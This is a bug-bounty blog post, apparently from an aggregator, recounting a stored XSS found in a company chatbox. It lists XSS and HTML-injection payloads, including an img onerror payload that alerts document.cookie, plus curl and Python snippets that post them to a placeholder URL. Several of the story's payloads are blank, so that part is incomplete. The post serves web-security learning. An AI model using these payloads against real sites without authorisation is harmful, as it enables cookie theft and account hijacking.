Listen to this Post
Hello all… Found a stored XSS in a company’s bug bounty page 😂😂
I pasted the normal XSS payload `` in a chatbox owned by the company. It was filtering.
I tried adding a `”>` before the payload. It reflected only `”>`
Then, I understood something is fishy 🐟 and dived deeper.
I tried HTML injection (<h1>Hello</h1>Hello</p>), and boom 💥 it worked!
I tried to escalate it by trying to add an image using HTML code.
i.e, `` and it actually reflected the image icon.
I finally used the payload
`
`
and the cookie got reflected!
Tip:
always try HTML injection if XSS doesn’t work.
then, try to prompt using HTML injection.
Practice Verified Codes and Commands:
1. Basic XSS Payload:
<script>alert(1)</script>
2. HTML Injection Payload:
<h1>Hello</h1> Hello
3. Image Tag with Onerror Event for XSS:
<img src="x" onerror="alert(document.cookie)">
4. Testing for XSS with Document Domain:
<script>alert(document.domain);</script>
5. Using Curl to Test for XSS:
curl -X POST -d "input=<script>alert(1)</script>" http://example.com/chatbox
6. Using Python to Automate XSS Testing:
import requests
url = "http://example.com/chatbox"
payload = "<script>alert(1)</script>"
response = requests.post(url, data={"input": payload})
print(response.text)
- Using Burp Suite to Intercept and Modify Requests:
– Intercept the request using Burp Suite.
– Modify the input field to include the XSS payload.
– Forward the request and observe the response.
What Undercode Say:
In the realm of cybersecurity, particularly in bug bounty hunting, understanding the nuances of XSS and HTML injection is crucial. The article highlights a practical approach to identifying and exploiting stored XSS vulnerabilities, which can often be masked by filtering mechanisms. The key takeaway is the importance of persistence and creativity in testing different payloads, especially when initial attempts fail.
The use of HTML injection as a precursor to XSS is a valuable technique. By injecting HTML elements like `
` or <img>, one can often bypass filters that are specifically designed to block script tags. This method not only demonstrates the vulnerability but also provides a pathway to escalate the attack, as shown by the successful reflection of the user’s cookie.
In addition to the techniques mentioned, it’s essential to leverage tools like Burp Suite, Curl, and custom Python scripts to automate and streamline the testing process. These tools can help in intercepting, modifying, and resending requests, thereby uncovering vulnerabilities that might not be immediately apparent.
Furthermore, the article underscores the importance of understanding the underlying mechanisms of web applications. By comprehending how inputs are processed and rendered, one can craft more effective payloads and anticipate potential defenses. This knowledge is invaluable not just for bug bounty hunters but for anyone involved in web application security.
For those looking to deepen their understanding, resources like OWASP’s XSS Prevention Cheat Sheet and PortSwigger’s Web Security Academy offer comprehensive guides and interactive labs. These platforms provide hands-on experience with real-world scenarios, making them indispensable for aspiring and seasoned security professionals alike.
In conclusion, the journey from identifying a potential vulnerability to successfully exploiting it requires a blend of technical skills, strategic thinking, and a thorough understanding of web technologies. The article serves as a testament to the importance of continuous learning and experimentation in the ever-evolving field of cybersecurity.
Useful URLs:
References:
Hackers Feeds, Undercode AI


